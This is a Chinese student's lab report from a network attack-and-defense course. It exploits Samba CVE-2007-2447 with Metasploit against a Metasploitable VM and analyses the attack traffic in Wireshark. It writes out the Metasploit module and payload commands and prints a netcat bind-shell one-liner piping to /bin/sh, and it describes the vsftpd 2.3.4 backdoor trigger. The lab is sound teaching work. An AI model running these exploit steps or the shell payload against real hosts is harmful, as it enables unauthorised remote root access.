zty1234

导航

20241903 2024-2025-2 《网络攻防实践》第7次作业

1. 实践内容

本次实验主要围绕Linux环境下网络安全渗透测试展开,首先通过使用Metasploit软件,利用exploit/multi/samba/usermap_script模块,攻击Linux靶机的Samba服务漏洞,获取远程主机访问权限;接着进行攻防对抗实践,攻击方运用Metasploit攻击Metasploitable靶机,尝试获取远程控制权并进一步获取root权限,而防守方则借Wireshark等工具监听并分析网络攻击数据包,提取攻击者的IP、目标IP和端口、攻击发起时间、漏洞利用方式、Shellcode以及攻击成功后的命令行输入信息。


2. 前置知识

Samba协议及其主要漏洞:

Samba协议 是一种在Linux和UNIX系统上实现SMB(Server Message Block)协议的软件,主要用于实现 跨平台的文件和打印共享 。它允许Linux系统与Windows系统之间进行通信,通过端口139和445提供服务。它主要有以下两个常见的漏洞:

  1. CVE-2007-2447
  • 漏洞描述:该漏洞存在于Samba 3.0.20至3.0.25rc3版本中。当使用“username map script”配置选项时,攻击者可以通过指定包含shell元字符的用户名来执行任意命令。此漏洞无需认证即可利用。
  • 利用方式:在Metasploit中,可以使用exploit/multi/samba/usermap_script模块进行攻击。通过设置目标主机IP(RHOST)、监听主机IP(LHOST)等参数,攻击者可以获取目标主机的shell。
  1. CVE-2017-7494(SambaCry)
  • 漏洞描述:该漏洞影响Samba 3.5.0至4.6.4版本。攻击者可以利用该漏洞将恶意共享库文件上传到具有可写权限的共享目录,并使Samba服务加载并执行该文件,从而实现远程代码执行。
  • 利用条件:
    • 系统开启了文件/打印机共享端口445。
    • 共享文件夹拥有写入权限。
    • 攻击者需要知道共享目录的物理路径。
  • 利用方式:在Metasploit中,可以使用exploit/linux/samba/is_known_pipename模块进行攻击。通过设置目标主机IP(RHOST)、攻击载荷(PAYLOAD)等参数,攻击者可以获取目标主机的控制权。

FTP笑脸渗透漏洞:

FTP笑脸漏洞(也称为VSFTPD 2.3.4后门漏洞)是存在于vsftpd(Very Secure FTP Daemon)2.3.4版本中的一个严重安全漏洞。该漏洞允许攻击者在登录时,通过在用户名中输入特殊字符:)(类似笑脸的符号因而得名笑脸漏洞),密码任意,从而触发后门。触发后,vsftpd服务会在服务器的6200端口上启动一个监听的shell。攻击者可以利用这个后门,以管理员身份(通常是root权限)登录目标服务器,执行恶意操作。

Shellcode:

Shellcode 是一种可执行代码,通常用于在漏洞利用过程中在目标系统上执行特定操作,如获取系统控制权、执行系统命令等。它通常只有几十到几百字节,能够在有限空间内完成复杂任务。不依赖外部文件或库,直接操作系统调用。还有很好的可移植性,需根据目标系统的架构和操作系统进行定制。通常一个shellcode工作时,首先通过漏洞(如缓冲区溢出)将 Shellcode 注入目标系统的内存。然后使目标程序跳转到 Shellcode 的起始地址执行。最后通过系统调用执行恶意操作,如启动shell、下载恶意软件等。


3. 实践过程

实验一:使用Metasploit进行Linux远程渗透攻击。
该实验的主要任务是:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。本实验需要两台虚拟机:攻击机kali和靶机metasploitable(ip:192.168.200.125)。

首先,打开kali,键入msfconsole启动msfconsole(Metasploit渗透软件)。

键入search samba查看samba漏洞相关的模块。
我们使用第15号(exploit/multi/samba/usermap_script)模块进行渗透。

接下来我们键入use exploit/multi/samba/usermap_script来进入模块文件。

显示没有配置载荷,使用默认的载荷。我们选择攻击PAYLOAD为远程shell。我们键入show payloads查看载荷。我们将使用6号载荷。

然后我们键入set payload payload/cmd/unix/bind_netcat来设置我们的目标载荷。

键入show options查看我们需要设置的参数。发现,我们只需要设置目标ip。

键入set RHOST 192.168.200.125。再键入exploit运行。发现已经搭建了一个会话。我们再键入ifconfig,发现成功列出靶机ip:192.168.200.125。渗透成功!

实验一完成!

实验二:攻防对抗实践。
攻击方学号姓名:20241903朱天宇。使用kali 机(ip:192.168.165.37)作为攻击机,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

防守方学号姓名:20241917李柏衡。使用Metasploitable(ip:192.168.165.112)作为靶机,kali(ip:192.168.165.221)上 wireshark 监听获得网络攻击的数据包文件,结合 wireshark 分析攻击过程。获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。


首先攻击机上键入msfconsole启动msfconsole。

我们使用实验一上的漏洞(Samba),参照实验一的过程进行渗透。
我们键入use exploit/multi/samba/usermap_script进入文件,键入set payload payload/cmd/unix/bind_netcat设置载荷,键入set RHOST 192.168.165.112设置参数,最后键入run开始渗透。键入whoami查看权限,发现我们 已经是root权限 。再键入ifconfig查看ip发现已经是metasploitable的ip 192.168.165.112。渗透成功。

防守方在kali上查看wireshark监听的结果。发现使用的是SMB协议的漏洞。不难看出,从3号包发出的第一个SYN包开始就是攻击的开端。源ip和端口是192.168.165.37:44671即攻击方kali的ip地址和端口,目的ip地址是192.168.165.112:4444即防守方metasploitable的ip地址和端口。
跟踪TCP流发现成功追踪到攻击机和靶机的交互内容。攻击机查看了自己的权限,查看了靶机ip地址。

我们键入msfvenom -p cmd/unix/bind_netcat -f c查看该载荷对应的shellcode,得到一堆十六进制码,这些是机器语言,将其翻译过来就是mkfifo /tmp/obwc; (nc -l -p 4444 || nc -l 4444)0</tmp/obwc | /bin/sh >/tmp/obwc 2>&1; rm /tmp/obwc。这段shellcode的主要功能是创建一个命名管道 /tmp/obwc。使用 nc 监听端口 4444,并将通过网络接收到的命令传递给 /bin/sh(一个通用的Shell) 执行。将 /bin/sh 的输出和错误信息重定向回 /tmp/obwc,形成一个循环。最后删除临时文件 /tmp/obwc。

实验二完成!


4. 学习中遇到的问题及解决

  • 问题1:使用ftp笑脸后门攻击总是无法创建会话。
  • 问题1解决方案:通过nmap -sV 192.168.165.112发现靶机的ftp服务是1.3.1版本的,而该渗透攻击需要ftp版本是2.3.4因此一直无法渗透成功。
  • 问题2:在使用Samba的时候发现目标主机无法到达的情况,检查靶机状态依旧活跃。
  • 问题2解决方案:重启kali机即可。在kali机上键入ifconfig发现没有ip分配突然失去ip,所以导致不可达。

5. 实践总结

通过这次实验,我对网络安全中的渗透测试有了更直观的认识,上次实验是基于windows系统而这一次是基于Linux系统,更全面的体会到系统漏洞的潜在威胁以及及时修复的重要性。在实践中,我提升了操作Metasploit等工具的技能,也认识到防守方通过网络监听和数据分析来抵御攻击的关键作用。同时,攻防对抗环节让我巩固了分析攻击的能力。这次实验既增强了我的技术能力,也强化了我的安全意识。


参考资料

简述获取shellcode的几种方式
Exploiting Samba, CVE-2007-2447: Remote Command Injection

posted on 2025-04-10 13:18  zty1423  阅读(40)  评论(0)    收藏  举报